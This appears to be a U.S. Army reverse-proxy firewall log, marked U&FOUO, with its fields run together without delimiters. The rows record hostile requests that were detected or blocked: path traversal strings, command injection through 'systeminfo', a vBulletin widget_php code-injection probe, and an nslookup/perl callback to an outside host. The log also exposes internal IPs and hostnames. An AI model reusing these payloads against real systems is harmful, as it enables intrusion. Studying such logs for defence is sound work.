85f3d44092c11e6667943126ff9f98f8e1599132705000rev-proxy-cU&FOUOTCP_NC_MISS14061.015829170USNORTHCOMUSNORTHCOMNaNUSCA2020-09-03T10:35:11Z2020-07-17T23:24:13Z[{"eng":"blacklist","part":"path","rule":["BL-3149-0"],"cve":["CVE-2000-0884"],"data":"\/..mails"}]WAF_SCANNEDhttp_accel_wap_log.ROCK.2020.09.03.11.35.11.gz143.84.8.72143.84.8.72NaNGET400ArmyNon-Army167.99.188.179NaN143.84.8.2167.99.188.179NaN31.56782443.65472020-09-03T07:31:45-04:00[America/Toronto]-110.376817-79.3623230HQ, 7TH SIGNAL COMMAND143.84.8.72invalid_request443SGOS 6.7.4.71714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK0ROCKCommand InjectionNaN/%2e%2emails/NaNhttpsNaNMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/5567b1b39f24a80d5d-00000000a2ce8309-000000005f50d4211.0
96e3bd1f733e1f0864cde0dfbb443785c1599096012000rev-proxy-cU&FOUOTCP_DENIED577.016028280USNORTHCOMUSNORTHCOMNaNUSCA2020-09-03T00:35:11Z2020-07-17T23:24:13Z[{"detect":"multiple_encoding","part":"path","normalization":"url_decode","data":"..sql"},{"eng":"blacklist","part":"path","rule":["BL-3149-0"],"cve":["CVE-2000-0884"],"data":"\/..sql"}]WAF_SCANNEDhttp_accel_wap_log.ROCK.2020.09.03.01.35.09.gz143.84.8.31143.84.8.31NaNGET403ArmyNon-Army70.27.174.205NaN143.84.8.270.27.174.205NaN31.56782443.88412020-09-02T21:20:12-04:00[America/Toronto]-110.376817-79.0607148HQ, 7TH SIGNAL COMMAND143.84.8.31policy_denied443SGOS 6.7.4.71714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK10ROCKMultiple Encoding;Command InjectionNaN/%252e%252esql/NaNhttpsNaNMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/5567b1b39f24a80d5d-00000000a2c4c822-000000005f5044cc1.0

Last rows

IdTimestampData TypeVisibilityACTION_PROXYSGASN_SRCBYTES_INPUTBYTES_OUTPUTBYTES_RECEIVED_RSCOCOM_SERVERCOCOM_SRCCONTENTTYPE_HTTPHEADERCOUNTRY_SERVERCOUNTRY_SRCDATETIME_LOGSTARTDATETIME_RECORDDETAIL_MONITORDETAIL_SCANFILENAME_INGESTHOSTNAME_DSTHOSTNAME_DST_LCASEHOSTNAME_DST_REVERSEHTTPMETHOD_DSTHTTPSTATUSCODEIPBRANCHCATEGORY_SERVERIPBRANCHCATEGORY_SRCIP_DST_EFFECTIVEIP_DST_FORWARDEDIP_SERVERIP_SRCLATENCYLATITUDE_SERVERLATITUDE_SRCLOCAL_TIMESTAMPLONGITUDE_SERVERLONGITUDE_SRCMILLISECONDS_TIMETAKENORGANIZATION_OWNER_SERVEROUTBOUNDINTERFACE_DEVICEOUTCOME_POLICYVERDICT_BCSGOSPORT_DSTPRODUCTNAMEREMARK_PROXSYSGSCORE_BLUECOATWAFSITE_COLLECTIONTYPE_ATTACKURI_EXTENSIONURI_PATHURI_QUERYURI_SCHEMEURL_REFERRERUSERAGENTUUID_BLUECOATTRANSVERSION_ELFFLOGTYPE
44343b8dbdd2c2350070193a421624e6660fd1599324201000rev-proxy-cU&FOUOTCP_NC_MISS14061.0544115531580USNORTHCOMUSINDOPACOMtext/htmlUSIN2020-09-05T16:35:11Z2020-07-17T23:24:13Z[{"eng":"injection.command","part":"header","host":"windows","version":"3","data":"systeminfo"},{"eng":"analytics_filter","part":"post_arg_name","rule":["AF-1001-49","AF-1001-49","AF-1001-70","AF-1001-70"],"data":"cmd"}]WAF_SCANNEDhttp_accel_wap_log.ROCK.2020.09.05.17.35.09.gzjacks.jpeocbd.army.miljacks.jpeocbd.army.milmil.army.jpeocbd.jacksPOST404ArmyNon-Army139.59.78.47NaN143.84.8.2139.59.78.472.031.56782412.97212020-09-05T22:13:21+05:30[Asia/Kolkata]-110.37681777.5933606HQ, 7TH SIGNAL COMMANDNaNNaN443SGOS 6.7.4.71714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK10ROCKCommand Injection;SQL InjectionNaN/api/jsonws/invokeNaNhttpshttps://jacks.jpeocbd.army.mil/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-tableId-name-type-defaultDataMozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/5567b1b39f24a80d5d-00000000a30d8968-000000005f53c0281.0
44344fc00cb9152372b1eb2fd93e53aee22f31599562721000rev-proxy-cU&FOUOTCP_DENIED14061.09328120USNORTHCOMUSEUCOMNaNUSDE2020-09-08T10:35:10Z2020-07-17T23:24:13Z[{"eng":"injection.command","part":"header","host":"linux","version":"3","data":"mysql"}]WAF_SCANNEDhttp_accel_wap_log.ROCK.2020.09.08.11.35.09.gzmysqlmysqlmysqlGET403ArmyNon-Army68.183.70.192NaN143.84.8.268.183.70.192NaN31.56782450.11882020-09-08T12:58:41+02:00[Europe/Berlin]-110.3768178.68431HQ, 7TH SIGNAL COMMANDNaNpolicy_denied80SGOS 6.7.4.71714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK10ROCKCommand InjectionNaN/NaNhttpNaNFuzz Faster U Fool v1.1.067b1b39f24a80d5d-00000000a34521d8-000000005f5763e11.0
443453a03611eb881c7940c46aa06eed0c03c1597745957000rev-proxy-cU&FOUOTCP_POLICY_REDIRECT44454.023529040USNORTHCOMUSEUCOMNaNUSPL2020-08-18T09:35:12Z2020-07-17T23:24:13Z[{"eng":"injection.command","part":"path","host":"linux","version":"3","data":"mysql"}]WAF_SCANNEDhttp_accel_wap_log.ROCK.2020.08.18.10.35.09.gz143.84.8.25143.84.8.25NaNGET301ArmyNon-Army178.216.94.26NaN143.84.8.2178.216.94.26NaN31.56782450.84542020-08-18T12:19:17+02:00[Europe/Warsaw]-110.37681719.10156HQ, 7TH SIGNAL COMMAND143.84.8.25policy_redirect80SGOS 6.7.4.71714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK10ROCKCommand Injectionphp/mysql/index.php?lang=enhttpNaNMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.3667b1b39f24a80d5d-00000000a095eac5-000000005f3bab251.0
443467fa742ca169461c1f0ab8c37739671d21597761189000rev-proxy-cU&FOUOTCP_POLICY_REDIRECT14061.030528340USNORTHCOMUSEUCOMNaNUSGB2020-08-18T13:35:12Z2020-07-17T23:24:13Z[{"eng":"injection.command","part":"post_arg","host":"linux","version":"3","data":"{\"routestring\":\"ajax\\\/render\\\/widget_php\",\"widgetConfig[code]\":\"echo 'bm9uZXhpc3RlbnQ6MTMzNwo=' | base64 -d; exit;\"}\n\n"}]WAF_SCANNEDhttp_accel_wap_log.ROCK.2020.08.18.14.35.10.gzako.first.army.milako.first.army.milmil.army.first.akoPOST302ArmyNon-Army161.35.168.220NaN143.84.8.2161.35.168.220NaN31.56782451.51322020-08-18T15:33:09+01:00[Europe/London]-110.376817-0.0961261HQ, 7TH SIGNAL COMMANDNaNpolicy_redirect443SGOS 6.7.4.71714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK10ROCKCommand InjectionNaN/NaNhttpsNaNNuclei - Open-source project (github.com/projectdiscovery/nuclei)67b1b39f24a80d5d-00000000a099f1b5-000000005f3be6a51.0
44347e25a8f24d4ab4091d7811811370a950e1597742808000rev-proxy-cU&FOUOTCP_NC_MISS15169.032615461522USNORTHCOMUSINDOPACOMtext/htmlUSTW2020-08-18T08:35:12Z2020-07-17T23:24:13Z[{"eng":"blacklist","part":"path","rule":["BL-2000-3"],"data":"\/Scripts\/..\/Scripts.dump"},{"eng":"blacklist","part":"path","rule":["BL-3149-0"],"cve":["CVE-2000-0884"],"data":"\/Scripts\/..\/Scripts.dump"},{"eng":"blacklist","part":"path","rule":["BL-3206-0"],"cve":["CVE-2001-0507","CVE-2001-0333"],"data":"\/Scripts\/..\/Scripts.dump"}]WAF_SCANNEDhttp_accel_wap_log.ROCK.2020.08.18.09.35.10.gzwww.tooele.army.milwww.tooele.army.milmil.army.tooele.wwwGET404ArmyNon-Army35.201.230.163NaN143.84.8.235.201.230.1633.031.56782425.04782020-08-18T17:26:48+08:00[Asia/Taipei]-110.376817121.53185HQ, 7TH SIGNAL COMMANDNaNNaN443SGOS 6.7.4.71714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK0ROCKDirectory Traversal;Command Injectiondump/Scripts/../Scripts.dumpNaNhttpsNaNMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.3667b1b39f24a80d5d-00000000a0957405-000000005f3b9ed81.0
44348ed50a14ab5b7de4d9432cf56a661b0591597742818000rev-proxy-cU&FOUOTCP_NC_MISS15169.064026642640USNORTHCOMUSINDOPACOMtext/html;%20charset=utf-8USTW2020-08-18T08:35:12Z2020-07-17T23:24:13Z[{"eng":"injection.command","part":"header","host":"linux","version":"3","data":"&(nslookup hitddadtudhybc3ac5.bxss.me||perl -e \"gethostbyname('hitddadtudhybc3ac5.bxss.me')\")&'\\\"`0&(nslookup hitddadtudhybc3ac5.bxss.me||perl -e \"gethostbyname('hitddadtudhybc3ac5.bxss.me')\")&`'"},{"eng":"injection.command","part":"header","host":"windows","version":"3","data":"&(nslookup hitddadtudhybc3ac5.bxss.me||perl -e \"gethostbyname('hitddadtudhybc3ac5.bxss.me')\")&'\\\"`0&(nslookup hitddadtudhybc3ac5.bxss.me||perl -e \"gethostbyname('hitddadtudhybc3ac5.bxss.me')\")&`'"}]WAF_SCANNEDhttp_accel_wap_log.ROCK.2020.08.18.09.35.10.gzwww.tooele.army.milwww.tooele.army.milmil.army.tooele.wwwGET200ArmyNon-Army35.201.230.163&(nslookup%20hitddadtudhybc3ac5.bxss.me||perl%20-e%20%22gethostbyname('hitddadtudhybc3ac5.bxss.me')%22)&'\%22`0&(nslookup%20hitddadtudhybc3ac5.bxss.me||perl%20-e%20%22gethostbyname('hitddadtudhybc3ac5.bxss.me')%22)&`'143.84.8.235.201.230.1633.031.56782425.04782020-08-18T17:26:58+08:00[Asia/Taipei]-110.376817121.53186HQ, 7TH SIGNAL COMMANDNaNNaN443SGOS 6.7.4.71714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK20ROCKCommand Injectionaspx/NewsLetters.aspxNaNhttpshttps://www.google.com/search?hl=en&q=testingMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.3667b1b39f24a80d5d-00000000a095766e-000000005f3b9ee21.0
44349f499aecbcb291c05f62ebd04e21710ab1597742717000rev-proxy-cU&FOUOTCP_MISS15169.033715541522USNORTHCOMUSINDOPACOMtext/htmlUSTW2020-08-18T08:35:12Z2020-07-17T23:24:13Z[{"eng":"injection.command","part":"path","host":"linux","version":"3","data":"mysql"}]WAF_SCANNEDhttp_accel_wap_log.ROCK.2020.08.18.09.35.10.gzwww.tooele.army.milwww.tooele.army.milmil.army.tooele.wwwGET404ArmyNon-Army35.201.230.163NaN143.84.8.235.201.230.1633.031.56782425.04782020-08-18T17:25:17+08:00[Asia/Taipei]-110.376817121.53185HQ, 7TH SIGNAL COMMANDNaNNaN443SGOS 6.7.4.71714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK10ROCKCommand InjectionNaN/rv4_js/mysqlNaNhttpsNaNMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.3667b1b39f24a80d5d-00000000a0956219-000000005f3b9e7d1.0
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44351272ebe84048a84ff7c404915580864d01596847843000rev-proxy-cU&FOUOTCP_DENIED24589.024628540USNORTHCOMUSEUCOMNaNUSLV2020-08-08T00:35:12Z2020-07-17T23:24:13Z[{"eng":"injection.command","part":"path","host":"linux","version":"3","data":"mysql"}]WAF_SCANNEDhttp_accel_wap_log.ROCK.2020.08.08.01.35.09.gz143.84.8.62143.84.8.62NaNGET403ArmyNon-Army176.106.162.154NaN143.84.8.2176.106.162.154NaN31.56782456.94962020-08-08T03:50:43+03:00[Europe/Riga]-110.37681724.09787HQ, 7TH SIGNAL COMMAND143.84.8.62policy_denied80SGOS 6.7.4.71714300064 ROCKPXCTOCRP001 140.153.7.139 wap_log.ROCK10ROCKCommand Injectionphp/mysql/sqlmanager/index.php?lang=enhttpNaNMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.3667b1b39f24a80d5d-000000009fbc10d8-000000005f2df6e31.0
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